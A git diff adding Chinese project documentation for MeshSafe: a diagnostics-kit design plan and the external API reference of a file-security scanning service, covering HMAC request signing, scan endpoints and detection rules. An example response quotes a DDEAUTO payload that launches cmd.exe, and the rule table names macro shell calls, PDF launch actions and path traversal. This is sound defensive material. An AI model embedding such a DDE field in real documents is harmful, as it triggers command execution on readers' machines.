通道 | 规则 | 耗时 | 周期 | 并发安全 | +|------|------|------|------|---------| +| 页面必跑 | R001/R002/R003/R004/R005 | ~430ms | 每次页面加载 | 同步 await,不阻塞 worker | +| 定时器 A | R001/R005/R009-R014 | ~2.5s | 30s | asyncio.create_subprocess_exec | +| 定时器 B | R006/R007/R008 | ~60ms | 60s | 单次 SQL 查询 | +| 定时器 C | R002/R003/R004/R015 | ~1.5s | 300s | clamd TCP + docker inspect × 5 | +| 导出 | 全部 15 条 + docker logs 全量 | ~5-8s | 用户手动 | 后台线程,60s 超时 | + +### 4.3 Redis 缓存结构 + +``` +ms:diag:latest ← Hash: { rules: [...], generated_at: 1730406555, docker_status: "full", enabled: true } +ms:diag:cache:R001 ← String: { "result": {...}, "ts": 1730406555, "run_by": "timer:error_scan" } +ms:diag:cache:R009 ← 同上 +... +ms:diag:docker_status ← String: "full" / "partial" / "none" +ms:diag:enabled ← String: "true" / "false" +``` + +**TTL**:单条规则缓存 6 分钟;`latest` 整个包 10 分钟。 + +### 4.4 定时器异常保护 + +```python +async def _timer_loop(name, interval, rules, docker_status): + """通用定时器循环。""" + while True: + try: + await asyncio.sleep(interval) + results = await _run_rule_group(rules, docker_status) + await _write_redis(results, name) + except asyncio.CancelledError: + logger.info(f"定时器 {name} 被取消") + break + except Exception as e: + logger.exception(f"定时器 {name} 异常,{interval}s 后重试: {e}") + # 继续 while True,下次 sleep 后重试 +``` + +--- + +## 五、后端接口清单 + +| 方法 | 路径 | 说明 | 响应 | +|------|------|------|------| +| GET | `/console/diagnostics` | 诊断面板 HTML | 页面(含 DIAG_ENABLED=false 横幅)| +| GET | `/api/v1/telemetry/summary` | 实时面板数据(页面调用)| JSON | +| GET | `/api/v1/telemetry/engine-health` | 引擎健康快照 | JSON | +| GET | `/api/v1/telemetry/errors?limit=20` | 最近错误列表 | JSON | +| GET | `/api/v1/telemetry/docker-status` | Docker 能力检测结果 | JSON | +| GET | `/api/v1/telemetry/rules` | **所有规则最新结果**(带时间戳 + 运行来源)| JSON | +| GET | `/api/v1/telemetry/dump` | **一键导出 tar.gz** | 文件下载 | +| GET | `/api/v1/telemetry/config` | 当前配置快照(周期、阈值、Docker 模式)| JSON | + +--- + +## 六、后端代码结构 + +``` +app/ +├── diagnostic/ ← 新增目录 +│ ├── __init__.py +│ ├── config.py ← 读取 diagnostics.yaml + 环境变量覆盖 +│ ├── engine.py ← DiagnosticEngine(跑规则集) +│ ├── rules_db.py ← DB 聚合类规则实现(R001/R005-R008) +│ ├── rules_engine.py ← 引擎健康类规则实现(R002-R004) +│ ├── rules_log.py ← 日志匹配类规则实现(R009-R014) +│ ├── rules_container.py ← 容器状态类规则实现(R015) +│ ├── docker_probe.py ← 启动时 Docker 能力检测 +│ ├── collector.py ← DB + scanner.health() 原始数据拉取 +│ ├── dumper.py ← 打包 tar.gz + 脱敏 +│ └── scheduler.py ← 三层定时器循环 +├── console.py +│ └── 新增 1 个页面路由 + 7 个 API 路由 +├── main.py +│ └── startup event 加 DIAG_ENABLED 检查 + scheduler 启动 +├── config/ +│ └── diagnostics.yaml ← 新增配置文件 +├── templates/ +│ ├── diagnostics.html ← 新增诊断面板模板 +│ └── _nav.html ← nav_active='diagnostics' 入口 +└── Dockerfile + └── 加 `RUN apt-get install docker.io-cli` +``` + +--- + +## 七、配置文件完整内容 + +**文件**:`app/config/diagnostics.yaml` + +```yaml +# =============================================================== +# MeshSafe Diagnostics Kit v1.0 配置 +# =============================================================== +# 环境变量可覆盖: +# MESHSAFE_DIAG_ENABLED=true|false +# MESHSAFE_DIAG_DOCKER=auto|true|false +# MESHSAFE_DIAG_ERROR_INTERVAL=30 +# MESHSAFE_DIAG_CONTAINER_INTERVAL=300 +# MESHSAFE_DIAG_DB_INTERVAL=60 +# =============================================================== + +diagnostics: + # ---------- 总开关 ---------- + # true = 启动定时器、检测 Docker、运行规则引擎 + # false = 只保留手动导出功能,所有自动诊断关闭 + enabled: true + + # ---------- Docker 日志/容器状态能力 ---------- + # auto = 启动时自动检测 docker.sock 挂载 + # true = 强制启用,连不上启动报错 + # false = 强制关闭 + docker: + enabled: auto + + # ---------- 后台定时器周期(秒,0 = 不跑)---------- + timers: + error_scan_interval: 30 # 错误/拦截类日志(R001/R005/R009-R014) + container_check_interval: 300 # 容器/引擎类(R002/R003/R004/R015) + db_aggregate_interval: 60 # DB 聚合类(R006/R007/R008) + + # ---------- 日志行数控制 ---------- + docker_log_tail: 500 # 定时器 grep 最近多少行 + export_log_tail: 2000 # 导出时完整抓多少行 + + # ---------- 规则阈值 ---------- + rules: + error_ratio_threshold: 0.05 # R001: error > 5% 告警 + clamav_db_stale_days: 7 # R002: 病毒库 > 7 天告警 + reject_ratio_threshold: 0.20 # R007: reject > 20% 告警 + suspicious_exceeds_malicious: true # R006 开关 +``` + +--- + +## 八、页面设计 + +### 8.1 诊断面板布局 + +``` +┌────────────────────────────────────────────────────────────────────┐ +│ Nav: 概览 | 策略配置 | 任务历史 | 测试靶场 | 🔧 诊断 ← active │ +│ 最后刷新: 10:29:15 🧩 Docker: ✅ 完整 │ +├────────────────────────────────────────────────────────────────────┤ +│ │ +│ ┌─ 实时健康概览 ────────────────────────────────────────────────┐ │ +│ │ 扫描总量 恶意拦截 可疑待核 错误比例 引擎在线 │ │ +│ │ 12,472 117 47 10.0% 🔴 5/5 ✅ │ │ +│ └────────────────────────────────────────────────────────────────┘ │ +│ │ +│ ┌─ ⚠️ 异常检测(本地规则引擎)───────────────────────────────────┐ │ +│ │ 🔴 R001 错误比例偏高(10.0% > 阈值 5%) (10:29:15) │ │ +│ │ 近 100 次扫描 12 次 error │ │ +│ │ 💡 建议检查 ClamAV / Redis / Postgres 引擎 │ │ +│ │ │ │ +│ │ 🔴 R009 ClamAV 被 OOM Kill(重启 3 次) (10:29:15) │ │ +│ │ 证据: meshsafe-clamav stderr: Killed (exit 137) │ │ +│ │ 💡 建议给 clamav 容器加内存 512m → 1g │ │ +│ │ │ │ +│ │ 🟡 R002 ClamAV 病毒库 14 天未更新 (10:29:15) │ │ +│ │ 💡 在线更新失败 → U 盘离线导入 │ │ +│ │ │ │ +│ │ 🟢 所有其他规则通过 │ │ +│ └────────────────────────────────────────────────────────────────┘ │ +│ │ +│ ┌─ 🧩 容器运行状态 ──────────────────────────────────────────────┐ │ +│ │ API ✅ healthy restart: 0 启动: 2h 前 │ │ +│ │ Postgres ✅ healthy restart: 0 │ │ +│ │ Redis ✅ healthy restart: 0 │ │ +│ │ ClamAV ✅ running restart: 3 ⚠️ 近 24h 不稳定 │ │ +│ │ Nginx ✅ healthy restart: 0 │ │ +│ └────────────────────────────────────────────────────────────────┘ │ +│ │ +│ ┌─ 🧪 引擎状态 ─────────────────────────────────────────────────┐ │ +│ │ 🦠 ClamAV ✅ 病毒库: 2026-10-14 (14天前) │ │ +│ │ 🎯 YARA ✅ 规则: 205 条 │ │ +│ │ 📄 Document ✅ │ │ +│ │ 🔑 Keywords ✅ │ │ +│ │ ⚙️ Binary ✅ │ │ +│ └────────────────────────────────────────────────────────────────┘ │ +│ │ +│ ┌─ ❌ 最近 20 条错误 ────────────────────────────────────────────┐ │ +│ │ [table: 时间 | 文件名 | 错误原因 | 引擎 | 分数] │ │ +│ └────────────────────────────────────────────────────────────────┘ │ +│ │ +│ [📦 导出诊断包] 按钮 │ +└────────────────────────────────────────────────────────────────────┘ +``` + +### 8.2 总开关关闭时 + +``` +┌────────────────────────────────────────────────────────────────────┐ +│ ⛔ 诊断套件未启用 │ +│ diagnostics.yaml: diagnostics.enabled = false │ +│ │ +│ 诊断套件提供实时健康检测、容器运行状态监控、一键诊断包导出。 │ +│ 关闭后仅保留手动导出功能,所有自动规则引擎将停止运行。 │ +│ │ +│ 启用方式: │ +│ 1. 修改 app/config/diagnostics.yaml: enabled → true │ +│ 2. 或设置环境变量:MESHSAFE_DIAG_ENABLED=true │ +│ 3. 重启 api 容器 │ +│ │ +│ [📦 手动导出诊断包(离线收集)] │ +└────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## 九、实施计划 + +``` +Phase 1(3-4 天)— 核心框架 +├── app/diagnostic/ 目录结构 + 配置读取 +├── DiagnosticEngine 框架 + 规则基类 +├── DB 聚合类规则(R001/R005-R008) +├── 引擎协议类规则(R002/R003/R004) +└── Docker 能力检测 + +Phase 2(2-3 天)— 定时器 + 页面 +├── 三层定时器 + Redis 缓存 +├── 页面必跑规则通道 +├── 诊断面板 HTML 模板(含 Docker 状态 + 总开关横幅) +├── 异常列表 + 时间戳显示 +└── docker-compose.yml api 服务加 docker.sock 挂载 + +Phase 3(2 天)— 日志匹配 + 导出 +├── 日志匹配类规则(R009-R014) +├── docker inspect 类规则(R015) +├── 一键导出 tar.gz + 脱敏 +├── Dockerfile 加 docker CLI +└── 导出包结构完成 + +Phase 4(1 天)— 测试 + 验证 +├── docker build + 重启 + 功能验证 +├── 模拟无 Docker 环境(不挂 socket)→ 验证降级 +├── 关闭总开关 → 验证横幅 + 手动导出仍可用 +└── 全接口自测 +``` + +--- + +## 十、后续演进(不在 v1.0) + +| 版本 | 功能 | +|------|------| +| v1.1 | 导出包可选"含完整策略 YAML";规则阈值页面可配(不用改 yaml)| +| v1.1 | 导出包可选"上传到指定 S3 桶"(如果客户有内网 S3)| +| v2.0 | 云端收集服务(MeshSafe Pulse):多客户聚合 + dashboard + 规则引擎云端版 | +| v2.0 | LLM 辅助分析:把 diagnostics.tar.gz 喂给 LLM 生成结构化报告 | +| v3.0 | AI 辅助修复闭环(仅在你自己的 sandbox 里做,不碰客户环境)| + +--- + +## 附录 A:Dockerfile 改动 + +```dockerfile +# ===== 新增:装 docker CLI ===== +# api 容器需要 docker CLI 才能通过 docker.sock 访问宿主机 Docker +RUN apt-get update && apt-get install -y --no-install-recommends \ + docker.io-cli \ + && rm -rf /var/lib/apt/lists/* +``` + +## 附录 B:docker-compose.yml 改动 + +```yaml +api: + volumes: + # ... 原有 volume ... + - /var/run/docker.sock:/var/run/docker.sock:ro # ← 新增:只读挂载 +``` + +## 附录 C:快速降级指引 + +| 问题 | 处理 | +|------|------| +| 启动报 `ModuleNotFoundError: docker` | 忘装 docker CLI,跑 `apt-get install docker.io-cli` | +| 启动后页面显示 `ℹ️ Docker 能力未启用` | 没挂 docker.sock;compose api volumes 加一行 + rebuild | +| 想完全关掉诊断 | `diagnostics.enabled: false` 或环境变量 | +| 定时器吃 CPU | 三个定时器周期都可以调大;或设为 0 不跑某个 | +| 导出包太大 | `export_log_tail` 调小;或只导出 `scan_tasks.json` | + +--- + +**文档结束** — 待审核 → 确认后开始编码 diff --git a/docs/接口文档.md b/docs/接口文档.md new file mode 100644 index 0000000..16e1123 --- /dev/null +++ b/docs/接口文档.md @@ -0,0 +1,1322 @@ +# MeshSafe 文件安全检测服务 · 对外接口文档 + +| 项目 | 内容 | +|---|---| +| 文档版本 | v1.1(2026-10-27 对齐当前代码实现) | +| 接口版本 | `/api/v1` | +| 适用系统 | 光闸内外网文件摆渡系统 | +| 保密级别 | **内部交付文档**,请勿公开传播 | + +--- + +## 目录 + +1. [服务概述](#1-服务概述) +2. [接入准备](#2-接入准备) +3. [认证与签名规范](#3-认证与签名规范) +4. [接口清单](#4-接口清单) +5. [数据模型](#5-数据模型) +6. [检测规则清单](#6-检测规则清单) +7. [错误处理](#7-错误处理) +8. [接入示例](#8-接入示例) +9. [附录](#9-附录) + +--- + +## 1. 服务概述 + +### 1.1 能力范围 + +MeshSafe 是部署在内网隔离区的**文件安全检测专用服务**,通过标准 HTTP 接口接收文件并返回结构化检测结论。 + +**检测覆盖的风险类型:** + +| 类型 | 说明 | +|---|---| +| 恶意代码 | 病毒、木马、勒索软件、挖矿程序、后门 | +| 主动执行风险 | VBA 宏、DDE 自动执行、双扩展名伪装、文档内嵌可执行对象、PDF 脚本 | +| 容器逃逸类构造 | 压缩炸弹、路径穿越、超深嵌套、文件名伪装 | +| 策略违规 | 文件类型不在允许清单、文件超限、加密文件 | + +**服务不做的事:** + +- 不修改、不改写被检测文件 +- 不返回解包后的文件内容 +- 不做内容分类分级与敏感信息识别 +- 不做杀毒处置(隔离、删除由摆渡系统按 `action` 执行) + +### 1.2 部署形态 + +服务部署在内网隔离区,**运行期不访问公网**。病毒库与检测规则通过单向导入方式离线更新。 + +接入方式:调用方与检测服务之间走 HTTPS,证书由内部 CA 签发。 + +### 1.3 同步与异步 + +| 模式 | 何时使用 | 返回 | +|---|---|---| +| **同步** | 文件较小(默认 ≤ 512 MB),需要立即拿到结论 | 请求内返回完整结论 | +| **异步** | 文件较大,或策略要求走沙箱深检 | 返回 `task_id`,需轮询查询 | + +两种模式的**请求完全相同**,服务根据文件大小与策略自动选择。异步模式下调用方轮询 `GET /api/v1/scans/{task_id}` 即可。 + +--- + +## 2. 接入准备 + +### 2.1 申请凭证 + +向系统管理员申请一组凭证,获得: + +| 字段 | 说明 | +|---|---| +| `client_id` | 调用方标识,如 `duandao-system-a` | +| `secret` | 调用方密钥,用于签名,**请勿泄露** | + +多套调用方请分别申请,不要共用同一组凭证 —— 审计日志会按 `client_id` 区分调用来源。 + +### 2.2 凭证安全要求 + +- `secret` 仅存储在调用方服务端,**禁止**硬编码在客户端或前端代码中 +- 建议通过环境变量或密钥管理服务注入 +- 怀疑泄露时联系管理员轮换(轮换后旧凭证立即失效) + +### 2.3 网络连通性 + +| 源 | 目标 | 端口 | +|---|---|---| +| 摆渡系统服务端 | 检测服务 | 443 | + +--- + +## 3. 认证与签名规范 + +> **本章是全文最重要的部分。** 请完整阅读后再开始对接。 + +### 3.1 为什么需要签名 + +本服务面向内外网数据交换场景,接口可能被多个系统调用。为防止未授权调用、请求重放、以及检测结论被篡改,所有请求必须携带 HMAC 签名,所有响应也提供独立签名供验签。 + +### 3.2 请求头 + +| 头部 | 必填 | 说明 | +|---|---|---| +| `X-MS-Client-Id` | 是 | 调用方标识 | +| `X-MS-Timestamp` | 是 | Unix 秒级时间戳 | +| `X-MS-Nonce` | 是 | 随机串,32 位小写十六进制,**同一次请求不可重复使用** | +| `X-MS-Body-SHA256` | 是 | 请求体原始字节的 SHA256,小写十六进制 | +| `X-MS-Signature` | 是 | 请求签名,小写十六进制 | + +### 3.3 待签名串构造 + +各部分以 `\n` 分隔,**末尾无换行符**: + +``` +METHOD \n PATH \n CANONICAL_QUERY \n BODY_SHA256 \n TIMESTAMP \n NONCE \n CLIENT_ID +``` + +| 部分 | 取值规则 | +|---|---| +| `METHOD` | 大写,如 `POST` | +| `PATH` | 请求路径,不含域名、不含查询串。例:`/api/v1/scans` | +| `CANONICAL_QUERY` | 查询参数按 key 升序排列,`k=v` 用 `&` 连接;无参数时为空字符串 | +| `BODY_SHA256` | 请求体原始字节的 SHA256,小写十六进制 | +| `TIMESTAMP` | Unix 秒级时间戳字符串 | +| `NONCE` | 与请求头一致 | +| `CLIENT_ID` | 与请求头一致 | + +**示例**(`POST /api/v1/scans`,无查询参数,空请求体): + +``` +POST +/api/v1/scans + +e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 +1700000000 +0123456789abcdef0123456789abcdef +test-client +``` + +注意 `PATH` 与 `CANONICAL_QUERY` 之间有一行是空行 —— 因为查询参数为空。 + +### 3.4 签名密钥派生 + +**不要直接用 `secret` 做 HMAC 密钥**,必须先派生: + +``` +signing_key = HKDF-SHA256( + ikm = secret, + salt = client_id, + info = "meshsafe/api/v1/request-signing", + len = 32 +) +``` + +``` +signature = HMAC-SHA256(signing_key, 待签名串) → 小写十六进制 +``` + +派生用途隔离的意义:即使请求签名密钥泄露,攻击者也无法伪造响应签名(响应使用独立的派生标签)。 + +> 大多数语言的标准库没有 HKDF,需要自行实现(约 15 行代码),示例见 §8。 + +### 3.5 文件上传的 body 哈希 + +上传文件时,请求体是 `multipart/form-data`,包含**随机 boundary**,因此: + +**`X-MS-Body-SHA256` 必须对最终发送的完整 HTTP 请求体字节计算**(即 `Content-Type` 头之后的所有字节,含 boundary)。 + +正确做法: + +```python +# 构造请求体后,对 bytes 计算哈希 +body = build_multipart_body(file_bytes, filename) +body_hash = hashlib.sha256(body).hexdigest() # ← 对最终字节计算 +headers = sign(secret, client_id, "POST", "/api/v1/scans", body=body) +# 然后用完全相同的 body 字节发送 +requests.post(url, data=body, headers={**headers, "Content-Type": content_type}) +``` + +**常见错误**:用 `files=` 参数让 HTTP 库自动构造 multipart —— 这样你无法预知最终 body 字节,也就无法正确计算哈希。**必须手工构造 body。** + +### 3.6 时间戳与防重放 + +| 约束 | 值 | +|---|---| +| 允许时钟偏差 | ±300 秒 | +| nonce 复用 | 直接拒绝 | + +服务端会记录已使用的 nonce。若因网络重试需要重发同一请求,**必须更换 nonce 与时间戳**。 + +### 3.7 响应签名与验签 + +响应头中包含: + +| 头部 | 说明 | +|---|---| +| `X-MS-Response-Timestamp` | 响应生成时间戳 | +| `X-MS-Response-Signature` | 响应签名,小写十六进制 | + +``` +response_key = HKDF-SHA256( + ikm = secret, + salt = client_id, + info = "meshsafe/api/v1/response-signing", + len = 32 +) + +payload = SHA256(响应体原始字节) || X-MS-Response-Timestamp +signature = HMAC-SHA256(response_key, payload) → 小写十六进制 +``` + +> **验签是调用方的强制责任。** 不验签意味着你无法确认结论未被篡改,也无法确认响应确实来自本服务。生产对接必须实现验签。 + +验签失败时**必须拒绝使用该结论**,并记录告警。 + +### 3.8 校验向量 + +以下向量可直接用于您的单元测试,验证签名实现是否正确。 + +| 参数 | 值 | +|---|---| +| `secret` | `test-secret` | +| `client_id` | `test-client` | +| `method` | `POST` | +| `path` | `/api/v1/scans` | +| `query` | 空 | +| `body` | 空 | +| `timestamp` | `1700000000` | +| `nonce` | `0123456789abcdef0123456789abcdef` | + +期望结果: + +| 项 | 期望值 | +|---|---| +| `body_sha256` | `e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855` | +| `signing_key`(hex) | `e2c60ab7169f72b364aa0c17a1d96022c5ae1b1852ec8a2ad3c5d319a46f6e2f` | +| `signature`(hex) | `9d0bf5d6cf8e395a122d280d34199448807c5ed4604ae7555cc7ecb8d863654b` | + +> **同时提供响应签名校验向量**(用于验证 `response-signing` 密钥派生和 HMAC 实现): +> +> | 参数 | 值 | +> |---|---| +> | `response_key`(hex) | `5059871d01a76283d43579cf50c00646f5d21b8bccc6123db32aebd9c741054e` | +> | 假设响应体 | 空(`e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855`) | +> | `response_timestamp` | `1700000000` | +> | `response_signature` | `79818ae5f2dd07d74713e67251d823b0be155cce17699a568aef7b233588f84e` | +> +> > 待签名串 = `SHA256(响应体).hex() + response_timestamp` → 对 response_key 做 HMAC-SHA256。 + +> 若上面的 signature 与您的实现算出来不一致,说明 HKDF 或 HMAC 的实现有偏差(常见原因是 HKDF 的 counter 从 0 开始而非 1,或 HMAC 输出未转小写 hex)。 + +> 同时可使用在线调试台 `/console/signing` 现场生成签名进行比对。 + +### 3.9 认证失败的表现 + +所有认证失败统一返回 HTTP 401,响应体: + +```json +{ + "detail": "认证失败" +} +``` + +**不会**区分"client_id 不存在"与"签名错误",以防凭证枚举。 + +--- + +## 4. 接口清单 + +### 4.1 POST /api/v1/scans + +提交文件进行安全检测。 + +**请求** + +| 字段 | 类型 | 必填 | 说明 | +|---|---|---|---| +| `file` | binary | 是 | 待检测文件 | +| `channel` | string | 否 | 业务通道标识,默认 `default`。本期为全局策略,通道仅用于日志追溯 | +| `priority` | string | 否 | `normal`(默认)/ `high`,仅影响异步任务的排队顺序 | + +**Content-Type**:`multipart/form-data` + +**响应 200(同步完成)** + +```json +{ + "task_id": "3f8a9c2e1b7d4e6f8a0b2c4d6e8f0a1b", + "verdict": "malicious", + "score": 85.0, + "action": "reject", + "reason": "检测到 VBA 宏 + DDEAUTO 自动执行", + "status": "completed", + "file": { + "sha256": "a1b2c3...", + "md5": "d4e5f6...", + "size": 284915, + "real_type": "Microsoft Word 2007+", + "real_ext": ".docx", + "declared_ext": ".docx", + "filename": "起诉状.docx" + }, + "findings": [ + { + "engine": "document", + "layer": "L2", + "severity": "critical", + "rule": "DDEAutoExecution", + "detail": "检测到 DDE/DDEAUTO 字段:DDEAUTO c:\\windows\\system32\\cmd.exe", + "extracted_path": "word/settings.xml", + "weight": 65.0, + "meta": {} + } + ], + "extracted": [ + { "path": "word/vbaProject.bin", "filename": "vbaProject.bin", "size": 10240, "depth": 1, "sha256": "" } + ], + "triggered": [ + { "type": "rule_override", "rule": "DDEAutoExecution", "action": "reject", "engine": "document" } + ], + "meta": { + "scan_duration_ms": 1840, + "engines": ["structure", "clamav", "document", "keywords", "yara", "binary"], + "engine_errors": [], + "clamav": { "version": "ClamAV 1.5.4", "signature_date": "2026-10-27" }, + "policy_version": "2026.10.1", + "policy_sha256": "…", + "scanned_objects": 3, + "scanned_at": "2026-10-27T08:30:00+00:00" + } +} +``` + +**响应 200(异步受理)** + +```json +{ + "task_id": "3f8a9c2e1b7d4e6f8a0b2c4d6e8f0a1b", + "status": "pending", + "message": "任务已受理,请轮询 /api/v1/scans/{task_id} 获取结果" +} +``` + +**调用方处理建议** + +```python +result = scan(file_bytes, filename) +if result["status"] != "completed": + result = poll_until_done(result["task_id"]) + +action = result["action"] +if action == "reject": + reject_transfer(reason=result["reason"]) # 拒绝并向用户展示 reason +elif action == "manual_review": + route_to_human_review(result["task_id"]) # 转人工 +else: + allow_transfer() # pass / pass_with_flag +``` + +--- + +### 4.2 GET /api/v1/scans/{task_id} + +查询扫描结果。同步模式下该接口用于重试补查,异步模式下用于轮询。 + +**路径参数**:`task_id` —— 提交扫描时返回的任务标识。 + +**响应 200** + +结构与 `POST /api/v1/scans` 的同步响应一致。若任务尚未完成: + +```json +{ + "task_id": "…", + "status": "running", + "verdict": "pending", + "action": "pending", + "score": 0.0, + "reason": "" +} +``` + +`status` 取值:`pending` / `running` / `completed` / `failed`。 + +**响应 404**:任务不存在(同时排查 `client_id` 是否与提交时一致)。 + +--- + +### 4.3 POST /api/v1/scans/{task_id}/rescan + +使用**当前生效策略**重新扫描同一文件。 + +**用途**:策略调整后,对历史文件重新判定;或人工复核阶段需要二次深检。 + +**响应 200**:同 4.1。 + +> 若原始文件已按留存策略清理,则返回 404。 + +--- + +### 4.4 POST /api/v1/scans/{task_id}/review + +回写人工复核结论。 + +**请求体** + +```json +{ + "decision": "pass", + "comment": "经人工查验为已脱敏的内部文书,无风险" +} +``` + +| 字段 | 取值 | 说明 | +|---|---|---| +| `decision` | `pass` / `reject` | 复核结论 | +| `comment` | string | 复核说明,必填(审计要求) | + +**响应 200** + +```json +{ "task_id": "…", "decision": "pass", "recorded_at": "2026-10-27T09:00:00+00:00" } +``` + +**权限**:需 `operator` 角色。 + +--- + +### 4.5 GET /api/v1/health + +健康检查与引擎状态。 + +**响应 200** + +```json +{ + "status": "healthy", + "policy_version": "2026.10.1", + "engines": { + "clamav": { + "available": true, + "version": "ClamAV 0.105.2/27012", + "signature": "27012", + "signature_updated_at": "2026-10-26T22:00:00+00:00" + }, + "yara": { "available": true, "rules_loaded": true, "rules_dir": "/app/rules" }, + "document": { "available": true }, + "structure": { "available": true }, + "binary": { "available": true } + }, + "queue": { "pending": 0, "running": 0 }, + "server_time": "2026-10-27T08:30:00+00:00" +} +``` + +**用途**:调用方启动时自检;运维监控告警(尤其 `clamav.available = false` 或签名库超过 7 天未更新)。 + +--- + +### 4.6 GET /api/v1/policies + +查询当前生效的全局策略(只读)。 + +**响应 200**:返回完整策略 YAML 的 JSON 形式,含 `version`、`sha256`、`content`。 + +**权限**:`operator`。 + +--- + +### 4.7 POST /api/v1/policies/reload + +从策略文件重新加载策略。 + +**用途**:修改策略文件后无需重启服务。 + +**响应 200** + +```json +{ "reloaded": true, "version": "2026.10.2", "sha256": "…" } +``` + +**权限**:`operator`。 + +> 策略文件校验不通过时拒绝加载并保留原策略,响应 400 并说明校验错误原因。 + +--- + +### 4.8 GET /api/v1/audit/verify + +校验审计日志哈希链完整性。 + +**响应 200** + +```json +{ + "checked": 1000, + "intact": true, + "broken_at_id": null, + "verified_at": "2026-10-27T08:30:00+00:00" +} +``` + +**权限**:`operator`。 + +--- + +## 5. 数据模型 + +### 5.1 结论字段 + +| 字段 | 类型 | 说明 | +|---|---|---| +| `task_id` | string | 任务标识,全局唯一 | +| `verdict` | enum | 总体判定,见 §5.2 | +| `score` | float | 风险评分,0~100 | +| `action` | enum | 处置建议,见 §5.3 | +| `reason` | string | 人可读的判定理由,可直接展示给用户 | +| `status` | enum | `pending` / `running` / `completed` / `failed` | + +### 5.2 verdict 取值 + +| 值 | 含义 | +|---|---| +| `clean` | 未发现风险 | +| `suspicious` | 存在可疑信号,需要关注或人工判断 | +| `malicious` | 判定为恶意 | +| `error` | 检测过程异常(如引擎不可用),结论不可信 | +| `pending` | 尚未完成 | + +### 5.3 action 取值 + +| 值 | 含义 | 建议调用方动作 | +|---|---|---| +| `pass` | 未发现问题 | 正常放行 | +| `pass_with_flag` | 存在低风险信号 | 放行,但建议记录标记 | +| `manual_review` | 需人工判断 | **暂不放行**,转入人工复核流程 | +| `reject` | 判定不可放行 | 拒绝传输,向用户展示 `reason` | +| `pending` | 尚未裁决 | 等待异步结果 | + +> **`action` 与 `verdict` 解耦使用。** 业务逻辑请依据 `action`,`verdict` 供人查看与统计。 + +### 5.4 findings 结构 + +| 字段 | 类型 | 说明 | +|---|---|---| +| `engine` | string | 引擎名:`structure` / `extractor` / `clamav` / `document` / `yara` / `binary` | +| `layer` | string | 检测层:`L0` / `L1` / `L2` / `L2B` / `L3` | +| `severity` | enum | `info` / `low` / `medium` / `high` / `critical` | +| `rule` | string | 规则标识 | +| `detail` | string | 命中详情 | +| `extracted_path` | string | 信号来自哪个内部路径(顶层文件为空) | +| `weight` | float | 该信号的风险权重 | +| `meta` | object | 引擎附加信息 | + +### 5.5 严重度与权重对照 + +| 严重度 | 典型含义 | 权重区间 | +|---|---|---| +| `critical` | 确凿的恶意行为,自动执行、外联、路径穿越 | 50 ~ 90 | +| `high` | 高度可疑,宏调用、危险 API、高熵加壳 | 30 ~ 80 | +| `medium` | 可疑但存在合理场景,外部链接、可疑导入 | 15 ~ 45 | +| `low` | 轻微信号,仅编码字符串、无签名 | 5 ~ 20 | +| `info` | 信息性提示 | 0 | + +### 5.6 file 结构 + +| 字段 | 说明 | +|---|---| +| `sha256` / `md5` | 文件哈希,用于去重与追溯 | +| `size` | 字节数 | +| `real_type` | 内容判定的真实类型描述 | +| `real_ext` | 真实扩展名(由内容推导) | +| `declared_ext` | 文件名声明的扩展名 | +| `filename` | 原始文件名 | + +### 5.7 meta 结构 + +| 字段 | 说明 | +|---|---| +| `scan_duration_ms` | 检测耗时(毫秒) | +| `engines` | 参与的引擎列表 | +| `engine_errors` | 不可用的引擎列表,非空说明结论可能不完整 | +| `clamav` | ClamAV 版本与签名库编号 | +| `policy_version` | 判定所依据的策略版本 | +| `policy_sha256` | 策略文件哈希 | +| `scanned_objects` | 实际检测的对象数(含递归解包出的子文件) | +| `scanned_at` | 检测时间(UTC) | + +> **`meta.clamav` 与 `meta.policy_version` 建议留存**,用于检测结果的有效性举证。 + +--- + +## 6. 检测规则清单 + +以下规则命中时会出现在 `findings` 中。**规则清单公开用于解释结论,不含检测规则的具体实现内容。** + +### 6.1 L0 结构层 + +| 规则 | 严重度 | 含义 | +|---|---|---| +| `ExtensionMismatch` | high | 扩展名声明与真实内容类型不符 | +| `DoubleExtension` | high | 文件名含多个扩展名,疑似伪装 | +| `DangerousExecutableExtension` | critical / high | 文件类型为可执行或脚本 | +| `ArchiveContainsExecutable` | high | 归档内含可执行文件 | +| `ArchiveBombSuspect` | high | 压缩比异常,疑似压缩炸弹 | +| `ArchiveTooLarge` | high | 解压后体积超限 | +| `ArchiveTooManyMembers` | medium | 归档成员数量异常 | +| `PathTraversal` | critical | 归档内含路径穿越条目 | +| `PathTraversalBlocked` | critical | 已拦截路径穿越条目 | +| `ArchiveBombBlocked` | high | 已拦截高压缩比成员 | +| `ArchiveUnreadable` | medium | 归档结构损坏 | +| `ExtractDepthExceeded` | medium | 嵌套层级超限 | +| `ExtractBudgetExceeded` | medium | 解包数量或体积超限 | +| `MemberTooLarge` | medium | 成员大小超限已跳过 | + +### 6.2 L1 ClamAV 层 + +| 规则 | 严重度 | 含义 | +|---|---|---| +| `ClamAV.<签名名>` | critical / high / medium | 命中病毒库签名。签名名随病毒库更新而变化 | + +### 6.3 L2 文档深度层 + +| 规则 | 严重度 | 含义 | +|---|---|---| +| `VBAAutoExecShell` | critical | 宏含自动执行入口并调用系统命令或外联 | +| `VBAShellInvocation` | high | 宏调用 Shell / CreateObject 执行外部命令 | +| `VBAAutoExec` | high | 宏含自动执行入口 | +| `VBAExternalLink` | medium | 宏中含外部链接 | +| `VBAEncodedString` | medium | 宏中含疑似编码混淆长串 | +| `VBAMacroPresent` | low | 文档含宏,需人工确认用途 | +| `MRaptorAutoExecSuspicious` | critical | 宏具备自动执行且含可疑行为 | +| `MRaptorAutoExec` | high | 宏含自动执行入口 | +| `DDEAutoExecution` | critical | 含 DDE / DDEAUTO 自动执行字段 | +| `EmbeddedExecutable` | critical | 文档内嵌可执行对象 | +| `EmbeddedOleObject` | medium | 文档内嵌 OLE 对象 | +| `ExternalLinkReference` | high | 工作簿含外部链接部件 | +| `ExternalUri` | high | 文档含指向外部地址的链接 | +| `AttachedTemplate` | high | 关联外部模板,可能触发模板注入 | +| `DocVars` | medium | 含文档变量,可能用于隐藏载荷 | +| `EmbeddedObject` | medium | 文档内嵌对象 | +| `PdfJavaScript` | critical | PDF 含 JavaScript 动作 | +| `PdfLaunchAction` | critical | PDF 含启动外部程序动作 | 